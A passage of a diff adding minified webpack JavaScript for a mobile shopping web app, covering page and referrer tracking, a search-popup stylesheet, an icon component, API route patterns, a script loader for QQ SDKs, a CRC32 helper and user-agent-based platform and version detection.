s.prototype.getKeyParamsFromQuery = function() { + var e = this.pvInfo.keys || [], + t = {}, + n = this.getQuery(); + return e.forEach(function(e) { + var r = void 0, + a = void 0; + ""string"" == typeof e ? a = n[r = e] : ""object"" === (void 0 === e ? ""undefined"" : i()(e)) && (r = e.key, + a = n[r], + e.mapping && e.mapping.forEach(function(e) { + null != n[e] && (a = n[e]) + }), + null == a && null != e.default && (a = e.default)), + null != r && null != a && (t[r] = a) + }), + this.setKeyParams(t), + this.getKeyParams() + }, + s.prototype.hasIndividualPV = function() { + return this.pvInfo.indiv + }, + s.prototype.isAppModal = function() { + return this.pvInfo.isAppModal + }; + var u = s, + l = n(""3OdE""), + p = n(""+qE3""), + d = n(""MCLT""), + h = n.n(d), + f = n(""Pn5d""), + m = { + SHOW: 0, + HIDE: 1 + }, + g = { + WK_TRY_FRESH: 0 + }, + v = null; + + function _() { + this.pageStatus = m.SHOW, + this.maxSize = 0 + } + h.a.inherits(_, p.EventEmitter), + _.PageStatus = m, + _.EventType = g, + _.prototype.init = function(e) { + var t = this; + e = e || {}, + this.maxSize = e.maxSize || this.maxSize, + this.setMaxListeners(this.maxSize), + window && window.addEventListener(""pageshow"", function() { + t.onPageShow() + }) + }, + _.prototype.onPageShow = function() { + this.pageStatus = m.SHOW, + f.a.isWKWebView && this.emit(g.WK_TRY_FRESH) + }, + _.prototype.onPageHide = function() { + this.pageStatus = m.HIDE + }, + _.getInstance = function() { + return v || (v = new _), + v + }; + var b = _; + n.d(t, ""b"", function() { + return I + }); + var y = l.a.constant.TrackingKeys; + + function w() {} + + function S(e) { + e = e || {}; + var t = {}, + n = !1; + for (var r in e) + if (e.hasOwnProperty(r) && (0 === r.indexOf(""refer_"") || 0 === r.indexOf(""_ex_""))) { + var a = e[r]; + a && (t[r] = a, + n = !0) + } + return n ? t : null + } + + function C(e) { + var t = []; + for (var n in e = e || {}) + if (e.hasOwnProperty(n)) { + var r = e[n]; + null != r && n && t.push([encodeURIComponent(n), encodeURIComponent(r)].join(""="")) + } + return t.join(""&"") + } + w.prototype.init = function(e, t) { + if (t = t || {}, !this.pageInfo && (e = (""undefined"" != typeof location ? location.href : e) || """")) { + this.pageInfo = new u(e, t.pageProperty); + var n = void 0; + if (this.pageInfo) { + var a = S(n = this.pageInfo.getQuery()); + a && this.updateReferInfo(a) + } + if (b.getInstance().init(), + this.backRefresh = b.getInstance(), + t.isModuleVersion) { + var i = t.AppUtils; + if (this.pageInfo) { + var o = { + page_name: this.getPageName(), + page_id: this.getPageID(), + page_sn: this.getPageSN() + }; + for (var s in n = n || {}) + n.hasOwnProperty(s) && ""refer"" !== s.split(""_"")[0] && (o[s] = n[s]); + i.setPageContextForNative(o) + } + var c = this; + i.updateReferPageContext(function(e) { + c.getReferPageContextFromNative(e), + r.a.isFunc(t.callback) && t.callback() + }, function() { + r.a.isFunc(t.callback) && t.callback() + }) + } else + r.a.isFunc(t.callback) && t.callback() + } + }, + w.prototype.getPageInfo = function() { + return this.pageInfo || this.init(), + this.pageInfo + }, + w.prototype.getQuery = function() { + return this.pageInfo || this.init(), + this.pageInfo.getQuery() + }, + w.prototype.getParameters = function() { + return this.getQuery() + }, + w.prototype.getParameter = function(e) { + return (this.getQuery() || {})[e] + }, + w.prototype.getPageName = function() { + return this.pageInfo ? this.pageInfo.getPageName() : """" + }, + w.prototype.getPageSN = function() { + return this.pageInfo ? this.pageInfo.getPageSN() : """" + }, + w.prototype.getPageID = function() { + return this.pageInfo ? this.pageInfo.getPageID() : """" + }, + w.prototype.setKeyParams = function(e) { + this.pageInfo && this.pageInfo.setKeyParams(e) + }, + w.prototype.getKeyParams = function() { + return this.pageInfo ? this.pageInfo.getKeyParams() : null + }, + w.prototype.getKeyParamsFromQuery = function() { + if (this.pageInfo) + return this.pageInfo.getKeyParamsFromQuery() + }, + w.prototype.updateReferInfo = function(e) { + for (var t in e = e || {}, + this.referInfo || (this.referInfo = {}), + e) + if (e.hasOwnProperty(t)) { + var n = e[t]; + t && n && (""refer"" !== t.split(""_"")[0] && t.indexOf(""_"") > 0 ? t = [""refer"", t].join(""_"") : 0 === t.indexOf(""_"") && (t = ""refer_"" + t.slice(4)), + this.referInfo[t] = n) + } + }, + w.prototype.getReferPageQuery = function() { + if (!this.referInfo) + return null; + var e = {}, + t = this; + for (var n in y.ReferPageKeys.forEach(function(n) { + t.referInfo[n] && (e[n] = t.referInfo[n]) + }), + t.referInfo) + n.indexOf(""refer_"") > -1 && (e[n] = t.referInfo[n]); + return e + }, + w.prototype.getReferPageID = function() { + return this.referInfo ? this.referInfo.refer_page_id : null + }, + w.prototype.getReferPageName = function() { + return this.referInfo ? this.referInfo.refer_page_name : null + }, + w.prototype.getReferPageSection = function() { + return this.referInfo ? this.referInfo.refer_page_section : null + }, + w.prototype.getReferPageElement = function() { + return this.referInfo ? this.referInfo.refer_page_element : null + }, + w.prototype.getReferPageQueryString = function() { + return C(this.getReferPageQuery()) + }, + w.prototype.addReferPageQueryString = function(e) { + var t = new u(e), + n = r.a.extend(t.getQuery(), this.getReferPageQuery()); + return [e.split(""?"")[0], C(n)].join(""?"") + }, + w.prototype.addPageNameAsRefer = function(e) { + var t = new u(e), + n = r.a.extend(t.getQuery(), { + refer_page_name: this.getPageName() + }); + return [e.split(""?"")[0], C(n)].join(""?"") + }, + w.prototype.addPageAsRefer = function(e) { + if (e) { + var t = new u(e), + n = { + refer_page_name: this.getPageName(), + refer_page_id: this.getPageID() + }, + a = this.getPageSN(); + a && (n.refer_page_sn = a); + var i = t.pageELSN || """"; + i && (n.refer_page_el_sn = i); + var o = r.a.extend(t.getQuery(), n); + return [e.split(""?"")[0], C(o)].join(""?"") + } + }, + w.prototype.addPageTransferParameters = function(e) { + if (e) { + var t = new u(e), + n = { + refer_page_name: this.getPageName(), + refer_page_id: this.getPageID() + }, + a = this.getPageSN(); + a && (n.refer_page_sn = a); + var i = t.pageELSN || """"; + i && (n.refer_page_el_sn = i); + var o = this.getExtendTransferParameters(!0), + s = r.a.extend(t.getQuery(), n, o); + return [e.split(""?"")[0], C(s)].join(""?"") + } + }, + w.prototype.getExtendTransferParameters = function(e) { + var t = this.getQuery() || {}, + n = {}; + for (var r in t) + if (t.hasOwnProperty(r) && !n[r]) { + 0 === r.indexOf(""_x_"") ? n[r] = t[r] : ""xcx_trace_id"" === r || ""xcx_version"" === r ? n[r] = t[r] : e && 0 === r.indexOf(""_ex_"") ? n[r.replace(""_ex_"", ""_x_"")] = t[r] : e && ""msgid"" === r ? n[""_x_msgid""] = t[r] : e && ""refer_share_id"" === r && (n[""_x_share_id""] = t[r]) + } + return n + }, + w.prototype.hasIndividualPV = function() { + return this.pageInfo ? this.pageInfo.hasIndividualPV() : null + }, + w.prototype.isAppModal = function() { + return !!this.pageInfo && this.pageInfo.isAppModal() + }, + w.prototype.getAdQuery = function() { + return this.pageInfo ? this.pageInfo.getAdQuery() : """" + }, + w.prototype.getPageInfoByUrl = function(e) { + return e ? new u(e) : null + }, + w.prototype.getPageContextFromNative = function(e) {}, + w.prototype.getReferPageContextFromNative = function(e) { + this.setKeyParams(e), + this.updateReferInfo(e) + }, + w.prototype.getTransientReferPageParams = function(e) { + var t = void 0, + n = void 0; + (""string"" == typeof e ? n = e : e.url && (n = e.url), + n) ? t = S(new u(n).getQuery()): t = S(e); + if (!t) + return null; + var r = {}, + a = !1; + for (var i in t) + if (t.hasOwnProperty(i)) { + var o = t[i], + s = i.slice(6); + if (!o || !s) + continue; + r[s] = o, + a = !0 + } + return a ? r : null + }, + w.prototype.getNativeInfo = function(e) { + if (this.pageInfo) + return this.pageInfo.getNativeInfo(e) + }, + w.prototype.checkNativePageVersion = function(e, t) { + if (this.pageInfo) + return this.pageInfo.checkNativePageVersion(t) + }, + w.prototype.getNativePageName = function(e) { + if (this.pageInfo) + return this.pageInfo.getNativePageName(e) + }; + var A = { + instance: null, + getInstance: function() { + return this.instance || (this.instance = new w), + this.instance + } + }; + + function I() { + return A.getInstance().getPageID() + } + t.a = A + }, + vMW4: function(e, t, n) { + var r = n(""GdyA""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + wGyw: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, ""@charset \""UTF-8\"";\n\n/**\r\n * base.scss, 一些公共的代码\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * base variable\r\n */\n\n/**\r\n * function 区域\r\n */\n\n/**\r\n * mixin 区域\r\n */\n\n/**\r\n * 父元素必须是position: relative\r\n */\n\n/**\r\n * 字体icon\r\n */\n\n/**\r\n * flex 布局\r\n */\n\n/**\r\n * extend区域\r\n */\n\n/**\r\n * @file variables.scss, 相关的变量\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * @file border1px.scss, 1px在devicePixelRatio>2的方案\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/*原来的逻辑*/\n\n/*\n* 注意:需要按钮是position(absolute,relative)定位的,按钮没有宽高的,可能会出bug.\n* 按钮before已经有样式的就用data-active=after-{type},after同理。\n* eg:
    button
    \n* https://jira2.corp.yiran.com/browse/PDD-10191\n* 红色按钮 highlight状态增加 #000000 15%\n* 白色按钮 highlight状态增加 #000000 5%\n* 红色线框按钮 highlight状态增加 #E02E24 5%\n*/\n\n.fc-search-popup {\n position: fixed;\n top: 0;\n width: 100%;\n height: 100%;\n background-color: rgba(0, 0, 0, 0.7);\n z-index: 99999;\n text-align: center;\n line-height: 1;\n padding-bottom: 0.64rem;\n}\n\n.fc-search-popup .panel {\n position: relative;\n width: 2.9rem;\n height: 3.12rem;\n position: relative;\n top: 50%;\n -webkit-transform: translateY(-50%);\n transform: translateY(-50%);\n margin: 0 auto;\n background-color: white;\n border-radius: 8px;\n padding-top: 0.22rem;\n}\n\n.fc-search-popup .panel .title {\n font-size: 0.16rem;\n color: #151516;\n margin: 0 auto 0.12rem auto;\n}\n\n.fc-search-popup .panel .hint {\n font-size: 0.15rem;\n color: #58595b;\n margin: 0 auto 0.19rem auto;\n}\n\n.fc-search-popup .panel .gif-area {\n position: relative;\n width: 2.52rem;\n height: 2.08rem;\n margin: 0 auto;\n}\n\n.fc-search-popup .panel .gif-area .loading-icon {\n position: relative;\n width: 0.3rem;\n height: 0.3rem;\n position: relative;\n top: 50%;\n -webkit-transform: translateY(-50%);\n transform: translateY(-50%);\n margin: 0 auto;\n animation: rotateImg 2.5s linear infinite;\n -webkit-animation: rotateImg 2.5s linear infinite;\n}\n\n.fc-search-popup .panel .gif-area .source {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1;\n}"", """"]) + }, + weMy: function(e, t, n) { + ""use strict""; + var r = n(""iCc5""), + a = n.n(r), + i = n(""FYw3""), + o = n.n(i), + s = n(""mRg0""), + c = n.n(s), + u = n(""q1tI""), + l = n.n(u), + p = n(""TSYQ""), + d = n.n(p), + h = (n(""ZNKI""), + function(e) { + function t(n) { + return a()(this, t), + o()(this, e.call(this, n)) + } + return c()(t, e), + t.prototype.render = function() { + var e, t = this.props, + n = t.type, + r = t.className, + a = t.style, + i = d()(""iconfont"", ((e = {})[n] = n, + e[r] = r, + e)); + return l.a.createElement(""i"", { + className: i, + style: a + }) + }, + t + }(u.Component)); + t.a = h + }, + wylq: function(e, t, n) { + ""use strict""; + var r = [].concat([/api\/tyrion\/.+/], [/api\/daenerys\/.+/], [""home_operations"", ""operations"", ""api/fiora/v2/home_operations"", /operation\/\d+\/groups/, /v2\/operation\/\d+\/groups/, /v3\/operation\/\d+\/groups/, /v4\/operation\/\d+\/groups/, ""search"", ""search_hotquery"", ""search_hotquery/hotquery_nearby"", ""search_suggest"", /api\/search\/.+/], [""v2/price_range_goods"", ""v2/above_price_lis"", ""recommendation/free_try_coupon"", ""recommendation/coupon"", ""recommendation/coupon_push"", ""recommendation/coupon_expire"", /api\/roewe\/.+/], [/api\/barrow\/.+/], [""recommendation"", ""rec_order_list"", ""recommendation/express"", ""recommendation/favorite"", ""recommendation/mall"", ""recommendation/industry_push"", ""recommendation/index_sign"", /api\/tesla\/.+/], [/api\/porsche\/.+/], [/api\/byd\/.+/], [/api\/targaryen\/.+/], [/api\/jade\/.+/]); + + function a(e) { + return r.indexOf(e) > -1 || r.some(function(t) { + if (t.test && t.test(e)) + return !0 + }) + } + n.d(t, ""a"", function() { + return a + }) + }, + ""x+5E"": function(e, t, n) { + ""use strict""; + var r = n(""cDf5""), + a = n.n(r); + + function i(e) { + return function(e) { + return function(t) { + return a()(t) === e + } + }(""string"")(e) + } + n.d(t, ""a"", function() { + return i + }) + }, + xFnu: function(e, t, n) { + ""use strict""; + + function r(e, t) { + return new Promise(function(n, r) { + var a = document.createElement(""script""); + a.type = ""text/javascript"", + a.onload = function(e) { + document.body.removeChild(a), + n(e) + }, + a.onerror = function(e) { + document.body.removeChild(a), + r(e) + }, + t && Object.keys(t).forEach(function(e) { + return a.setAttribute(e, t[e]) + }), + a.src = e, + document.body.appendChild(a) + }) + } + n.d(t, ""a"", function() { + return r + }) + }, + xJ31: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return a + }); + var r = function() { + for (var e, t = [], n = 0; n < 256; n++) { + e = n; + for (var r = 0; r < 8; r++) + e = 1 & e ? 3988292384 ^ e >>> 1 : e >>> 1; + t[n] = e + } + return t + }(); + + function a(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0; + e = function(e) { + for (var t = """", n = 0; n < e.length; n++) { + var r = e.charCodeAt(n); + r < 128 ? t += String.fromCharCode(r) : r < 2048 ? t += String.fromCharCode(192 | r >> 6) + String.fromCharCode(128 | 63 & r) : r < 55296 || r >= 57344 ? t += String.fromCharCode(224 | r >> 12) + String.fromCharCode(128 | r >> 6 & 63) + String.fromCharCode(128 | 63 & r) : (r = 65536 + ((1023 & r) << 10 | 1023 & e.charCodeAt(++n)), + t += String.fromCharCode(240 | r >> 18) + String.fromCharCode(128 | r >> 12 & 63) + String.fromCharCode(128 | r >> 6 & 63) + String.fromCharCode(128 | 63 & r)) + } + return t + }(e), + t ^= -1; + for (var n = 0; n < e.length; n++) + t = t >>> 8 ^ r[255 & (t ^ e.charCodeAt(n))]; + return (-1 ^ t) >>> 0 + } + }, + xT7C: function(e, t, n) { + var r = n(""phfm""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + xnWZ: function(e, t, n) { + ""use strict""; + var r = n(""xFnu""), + a = n(""b5fu""); + + function i(e, t) { + var n = { + Unknown: ""unknown"", + IOS: ""ios"", + MaJiaBaoAndroid: ""mjtAndroid"", + Android: ""android"", + PDDTinyAndorid: ""tinyAndroid"", + WeChat: ""wechat"", + Weibo: ""weibo"", + QQ: ""qq"", + WxApp: ""wxapp"", + QQApp: ""qqapp"" + }; + + function r(e, t) { + for (var n = function(e) { + var t = []; + return null == e || e.length <= 0 ? t : (e.split(""."").forEach(function(e) { + t.push(parseInt(e, 10) || 0) + }), + t) + }, r = n(e), a = n(t), i = Math.max(r.length, a.length), o = 0; o < i; ++o) { + var s = r[o] || 0, + c = a[o] || 0; + if (s !== c) + return s - c + } + return 0 + } + + function i(t) { + var n = ""phh_"" + t + ""_version/"", + r = e.toLowerCase(), + a = r.indexOf(n); + if (a < 0) + return null; + var i = r.indexOf("" "", a); + return i < 0 && (i = r.length), + r.substring(a + n.length, i) + } + return n.launchAppVersion = ""3.13.0"", + n.isModuleVersion = !1, + n.isNativeChatVersion = !1, + n.isNativeLoginVersion = !1, + n.isNativeTabBarVersion = !1, + n.isNativeLogVersion = !1, + n.isNativeIndexVersion = !1, + n.isNativeUpdateVersion = !1, + n.isNativeMallPageVersion = !1, + n.isNativeImageViewerVersion = !1, + n.isNativeQQPayVersion = !1, + n.isNativeOrdersPageVersion = !1, + n.isAliPayDirectDebitVersion = !1, + n.isPddPushSocketVersion = !1, + n.isNativeSubjectsPageVersion = !1, + n.isPhotoDisabledVersion = !1, + n.isNativeContactVersion = !1, + n.isNativeNewContactVersion = !1, + n.isNativeContactAuthorityVersion = !1, + n.isGroupAudioRecordVersion = !1, + n.isTakeCouponAfterCommentVersion = !1, + n.isNativeFriendsVersion = !1, + n.isIOSShareUninstallNotifition = !1, + n.isSupportAudioMsgVersion = !1, + n.isGroupFastBackVersion = !1, + n.isUrgeShipmentVersion = !1, + n.isGroupShareImageVersion = !1, + n.isShowHUDVersion = !1, + n.isIOSCompressShareImage = !1, + n.isTakeCouponInCommentPage = !1, + n.isCouponGroupShare = !1, + n.isNewOrderStatusVersion = !1, + n.isHBInstallmentPayVersion = !1, + n.isNewGroupFastBackVersion = !1, + n.isSupportSetTitleAnimation = !1, + n.isUpdateTimelineOrderStatusNotification = !1, + n.isPlayAudioWithSystemVol = !1, + n.isNoHaitaoVersion = !1, + n.isPlayAudioWithSettleVol = !1, + n.isPDDTimelineFeedDeleteNotification = !1, + n.isNativeSpikeRemindVersion = !1, + n.isNativeSpikeCalendardVersion = !1, + n.isSpikeNoticeUnionVersion = !1, + n.isHorizontalScrollVersion = !1, + n.isShowAddressCantReceiveVersion = !1, + n.isEletricShowNativeTab = !1, + n.isSupportNativeLog = !1, + n.isSupportCheckWebviewInTab = !1, + n.isSupportCheckWebviewInScreen = !1, + n.isSupportCheckNotify = !1, + n.isUrmFastbackVersion = !1, + n.isMergeLogReport = !1, + n.isUrmJSNavigationVersion = !1, + n.IOSSystemVersion = function() { + var t = e; + return t.match(/iphone|ipad|ipod/i) ? function(e) { + var n = t.match(/os (\d+)_(\d+)_?(\d+)?/i); + return ""[object Array]"" !== Object.prototype.toString.call(n) || n.length < 4 ? """" : [n[1], n[2], n[3]].map(function(e) { + return e ? parseInt(e, 10) : 0 + }).join(""."") + }() : """" + }(), + n.AndroidSystemVersion = function() { + var t = e; + return t.match(/Android/i) ? function(e) { + var n = t.match(/Android (\d+).?(\d+)?.?(\d+)?/i); + return ""[object Array]"" !== Object.prototype.toString.call(n) || n.length < 4 ? """" : [n[1], n[2], n[3]].map(function(e) { + return e ? parseInt(e, 10) : 0 + }).join(""."") + }() : """" + }(), + n.Current = function() { + var o = e; + if (n.isMobile = o.match(/Android|webOS|iPhone|iPad|iPod/i), + null != o.match(/phh_ios_version/i)) { + var s = i(n.IOS); + return n.isModuleVersion = r(s, ""1.1.2"") > 0, + n.isNativeChatVersion = r(s, ""2.0.5"") > 0, + n.isNativeLoginVersion = r(s, ""2.0.8"") > 0, + n.isNativeTabBarVersion = r(s, ""2.0.8"") > 0, + n.isNativeLogVersion = r(s, ""2.0.8"") > 0, + n.isNativeUpdateVersion = r(s, ""2.0.9"") > 0, + n.isNativeIndexVersion = r(s, ""2.1.0"") > 0, + n.isNativeMallPageVersion = r(s, ""2.1.0"") > 0, + n.isNativeImageViewerVersion = r(s, ""2.1.3"") > 0, + n.isNativeAddressPageVersion = r(s, ""2.1.4"") >= 0, + n.isNativeBridgeCallbackVersion = r(s, ""2.1.8"") >= 0, + n.isNativeSubjectPageVersion = r(s, ""2.1.6"") >= 0, + n.isNativeQQPayVersion = r(s, ""2.8.0"") > 0, + n.isNativeOrdersPageVersion = r(s, ""2.14.0"") >= 0, + n.isAliPayDirectDebitVersion = r(s, ""3.2.0"") >= 0, + n.isShareButtonV2 = r(s, ""2.7.0"") >= 0, + n.isPddPushSocketVersion = r(s, ""2.6.0"") >= 0, + n.isNativeSubjectsPageVersion = r(s, ""3.15.0"") >= 0, + n.isNativeContactVersion = r(s, ""3.17.0"") >= 0, + n.isNativeNewContactVersion = r(s, ""4.14.0"") >= 0, + n.isNativeContactAuthorityVersion = r(s, ""4.16.0"") >= 0, + n.isGroupAudioRecordVersion = r(s, ""3.19.0"") >= 0, + n.isNativeFriendsVersion = r(s, ""3.42.0"") >= 0, + n.isTakeCouponAfterCommentVersion = r(s, ""3.20.0"") >= 0 && r(s, ""3.40.0"") < 0, + n.isTakeCouponInCommentPage = r(s, ""3.23.0"") >= 0 && r(s, ""3.40.0"") < 0, + n.isMergeLogReport = r(s, ""4.33.0"") >= 0, + n.isIOSShareUninstallNotifition = r(s, ""3.28.0"") > 0, + n.isNewOrderStatusVersion = r(s, ""3.34.0"") >= 0, + n.isNoHaitaoVersion = r(s, ""3.38.0"") >= 0, + n.isHBInstallmentPayVersion = r(s, ""3.65.0"") >= 0, + n.isUrgeShipmentVersion = r(s, ""3.40.0"") >= 0, + n.isSupportAudioMsgVersion = r(s, ""3.31.0"") >= 0, + n.isIOSCompressShareImage = r(s, ""3.41.0"") >= 0, + n.isCouponGroupShare = r(s, ""3.42.0"") >= 0, + n.isSupportApplePay = r(s, ""3.43.0"") >= 0, + n.isModifyAddressVersion = r(s, ""3.44.0"") >= 0, + n.isGroupFastBackVersion = r(s, ""3.48.0"") >= 0, + n.isShowHUDVersion = r(s, ""3.51.0"") >= 0, + n.isGroupShareImageVersion = r(s, ""3.52.0"") >= 0, + n.isModifyBackgroundVersion = r(s, ""3.52.0"") >= 0, + n.isOrderNotWinLotteryVersion = r(s, ""3.46.0"") >= 0, + n.isNewGroupFastBackVersion = r(s, ""3.61.0"") >= 0, + n.isSupportSetTitleAnimation = r(s, ""4.4.0"") >= 0, + n.isUpdateTimelineOrderStatusNotification = r(s, ""4.13.0"") >= 0, + n.isPlayAudioWithSystemVol = r(s, ""4.8.0"") >= 0, + n.isSettingPrivacyVersion = r(s, ""3.49.0"") >= 0, + n.isTimelineDetailVersion = r(s, ""3.54.0"") >= 0, + n.isBarrageVersion = r(s, ""3.57.0"") >= 0, + n.isOrderCheckoutRefGroupVersion = r(s, ""4.2.0"") >= 0, + n.isPlayAudioWithSettleVol = r(s, ""4.11.0"") >= 0, + n.isPDDTimelineFeedDeleteNotification = r(s, ""4.12.0"") >= 0, + n.isPayWechatDirectStatusVersion = r(s, ""4.14.0"") >= 0, + n.isNativeSpikeRemindVersion = r(s, ""3.40.0"") >= 0, + n.isSpikeNoticeUnionVersion = r(s, ""4.26.0"") >= 0, + n.isNativeSpikeCalendardVersion = r(s, ""4.25.0"") >= 0, + n.isModuleRequestTimeout = r(s, ""4.18.0"") >= 0, + n.isShowAddressCantReceiveVersion = r(s, ""4.19.0"") >= 0, + n.isEletricShowNativeTab = r(s, ""4.26.0"") >= 0, + n.isSupportNativeLog = r(s, ""4.22.0"") >= 0, + n.isSupportCheckWebviewInTab = r(s, ""4.26.0"") >= 0, + n.isSupportCheckWebviewInScreen = r(s, ""4.27.0"") >= 0, + n.isUrmFastbackVersion = r(s, ""4.39.0"") >= 0, + n.isUrmJSNavigationVersion = r(s, ""4.40.0"") >= 0, + n.IOS + } + if (null != o.match(/phh_android_version/i)) { + if (o.indexOf(""app_type/tiny"") > -1) + return n.PDDTinyAndorid; + var c = i(n.Android); + return n.isModuleVersion = r(c, ""1.1.2"") > 0, + n.isNativeChatVersion = r(c, ""1.2.2"") > 0, + n.isNativeLoginVersion = r(c, ""1.2.2"") > 0, + n.isNativeTabBarVersion = r(c, ""1.2.2"") > 0, + n.isNativeIndexVersion = r(c, ""1.2.5"") > 0, + n.isNativeUpdateVersion = r(c, ""1.3.0"") > 0, + n.isNativeMallPageVersion = r(c, ""1.3.0"") > 0, + n.isNativeAddressPageVersion = r(c, ""1.3.1"") >= 0, + n.isNativeImageViewerVersion = r(c, ""1.4.0"") >= 0, + n.isNativeSubjectPageVersion = r(c, ""1.3.2"") >= 0, + n.isNativeQQPayVersion = r(c, ""1.9.0"") > 0, + n.isNativeOrdersPageVersion = r(c, ""2.6.0"") >= 0, + n.isAliPayDirectDebitVersion = r(c, ""3.2.0"") >= 0, + n.isShareButtonV2 = r(c, ""1.7.0"") >= 0, + n.isNativeSubjectsPageVersion = r(c, ""3.15.0"") >= 0, + n.isPhotoDisabledVersion = [""1.2.6"", ""1.2.7"", ""1.2.8""].indexOf(c) >= 0, + n.isNativeContactVersion = r(c, ""3.17.0"") >= 0, + n.isNativeNewContactVersion = r(c, ""4.14.0"") >= 0, + n.isNativeContactAuthorityVersion = r(c, ""4.15.0"") >= 0, + n.isGroupAudioRecordVersion = r(c, ""3.19.0"") >= 0, + n.isTakeCouponInCommentPage = r(c, ""3.23.0"") >= 0 && r(c, ""3.40.0"") < 0, + n.isNativeFriendsVersion = r(c, ""3.42.0"") >= 0, + n.isTakeCouponAfterCommentVersion = r(c, ""3.20.0"") >= 0 && r(c, ""3.40.0"") < 0, + n.isMergeLogReport = r(c, ""4.45.0"") >= 0, + n.isNewOrderStatusVersion = r(c, ""3.34.0"") >= 0, + n.isNoHaitaoVersion = r(c, ""3.38.0"") >= 0, + n.isHBInstallmentPayVersion = r(c, ""3.65.0"") >= 0, + n.isUrgeShipmentVersion = r(c, ""3.40.0"") >= 0, + n.isSupportAudioMsgVersion = r(c, ""3.31.0"") >= 0, + n.isCouponGroupShare = r(c, ""3.43.0"") >= 0, + n.isModifyAddressVersion = r(c, ""3.44.0"") >= 0, + n.isGroupFastBackVersion = r(c, ""3.48.0"") >= 0, + n.isShowHUDVersion = r(c, ""3.51.0"") >= 0, + n.isGroupShareImageVersion = r(c, ""3.52.0"") >= 0, + n.isModifyBackgroundVersion = r(c, ""3.52.0"") >= 0, + n.isOrderNotWinLotteryVersion = r(c, ""3.46.0"") >= 0, + n.isNewGroupFastBackVersion = r(c, ""3.61.0"") >= 0, + n.isSupportSetTitleAnimation = r(c, ""4.4.0"") >= 0, + n.isUpdateTimelineOrderStatusNotification = r(c, ""4.13.0"") >= 0, + n.isPlayAudioWithSystemVol = r(c, ""4.8.0"") >= 0, + n.isSettingPrivacyVersion = r(c, ""3.49.0"") >= 0, + n.isTimelineDetailVersion = r(c, ""3.54.0"") >= 0, + n.isBarrageVersion = r(c, ""3.57.0"") >= 0, + n.isOrderCheckoutRefGroupVersion = r(c, ""4.2.0"") >= 0, + n.isPlayAudioWithSettleVol = r(c, ""4.11.0"") >= 0, + n.isPDDTimelineFeedDeleteNotification = r(c, ""4.12.0"") >= 0, + n.isPayWechatDirectStatusVersion = r(c, ""4.14.0"") >= 0, + n.isNativeSpikeRemindVersion = r(c, ""3.2.0"") >= 0, + n.isNativeSpikeCalendardVersion = !1, + n.isSpikeNoticeUnionVersion = r(c, ""4.26.0"") >= 0, + n.isHorizontalScrollVersion = r(c, ""4.18.0"") >= 0, + n.isModuleRequestTimeout = r(c, ""4.18.0"") >= 0, + n.isShowAddressCantReceiveVersion = r(c, ""4.19.0"") >= 0, + n.isEletricShowNativeTab = r(c, ""4.26.0"") >= 0, + n.isSupportNativeLog = r(c, ""4.23.0"") >= 0, + n.isSupportCheckWebviewInTab = r(c, ""4.20.0"") >= 0, + n.isSupportCheckWebviewInScreen = r(c, ""4.27.0"") >= 0, + n.isSupportCheckNotify = r(c, ""4.27.1"") >= 0, + n.isUrmFastbackVersion = r(c, ""4.39.0"") >= 0, + n.isUrmJSNavigationVersion = r(c, ""4.26.0"") >= 0, + n.Android + } + if (null != o.match(/MicroMessenger/i)) { + var u = a.a.getWechatVersion(o); + return n.wechatVersion = u, + n.isSupportHistoryAPI = r(u, ""6.5.1"") > 0, + ""app.yangkeduo.com"" === t ? void(t = ""mobile.yangkeduo.com"") : function(e) { + return null != e.match(/miniprogram|miniProgram/i) || ""undefined"" != typeof window && ""miniprogram"" === window.__wxjs_environment + }(o) ? n.WxApp : n.WeChat + } + return null != o.match(/Weibo/i) ? n.Weibo : function(e) { + return null != e.match(/QQ\//i) && null != e.match(/miniprogram/i) + }(o) ? n.QQApp : null != o.match(/(QQ\/[\d\.]+\s+)|Qzone/i) ? (""app.yangkeduo.com"" === t && (t = ""mobile.yangkeduo.com""), + n.QQ) : null != o.match(/mjt_version/i) ? n.MaJiaBaoAndroid : n.Unknown + }(), + n.WeChatAndroid = ""wechat_android"", + n.WeChatIOS = ""wechat_ios"", + n.WeChatUnknown = ""wechat_unknown"", + n.compareVersion = r, + n.isMinVersionSatisfied = function(e) { + var t = e.androidNativeMinVersion, + a = e.iosNativeMinVersion; + return { + isSatisfied: n.Current === n.Android ? !t || r(i(n.Android), t) >= 0 : n.Current !== n.IOS || (!a || r(i(n.IOS), a) >= 0), + platform: n.Current + } + }, + n.WeChatCurrent = function() { + if (n.Current !== n.WeChat) + return null; + var t = e; + return -1 != (t = t.toUpperCase()).indexOf(""ANDROID"") ? n.WeChatAndroid : -1 != t.indexOf(""IPHONE"") || -1 != t.indexOf(""IPAD"") || -1 != t.indexOf(""ITOUCH"") ? n.WeChatIOS : n.WeChatUnknown + }(), + n + } + var o = i(window.navigator.userAgent); + o.Current === o.QQ ? (Object(r.a)(""https://mp.gtimg.cn/open/js/openApi.js"", { + crossOrigin: ""anonymous"" + }), + Object(r.a)(""https://open.mobile.qq.com/sdk/qqapi.wk.js?_bid=152"")) : o.Current === o.QQApp ? n(""R8Tx"") : n(""XUo1""); + var s = o, + c = n(""Pn5d""), + u = n(""kk8N""); + n.d(t, ""a"", function() { + return p + }); + var l = {}; + + function p(e, t) { + var n = (arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : null) || i(e, t); + return n.isPureWeChatPlatform = function() { + return n.Current === n.WeChat + }, + n.isWeChatMiniProgram = function() { + return n.Current === n.WxApp + }, + n.isWeChatPlatform = function() { + return n.Current === n.WeChat || n.Current === n.WxApp + }, + n.isWeiboPlatform = function() { + return n.Current === n.Weibo + }, + n.isPureQQPlatform = function() { + return n.Current === n.QQ + }, + n.isQQPlatform = function() { + return n.Current === n.QQ || n.Current === n.QQApp + }, + n.isQQMiniProgram = function() { + return n.Current === n.QQApp + }, + n.isNativePlatform = function() { + return n.Current === n.IOS || n.Current === 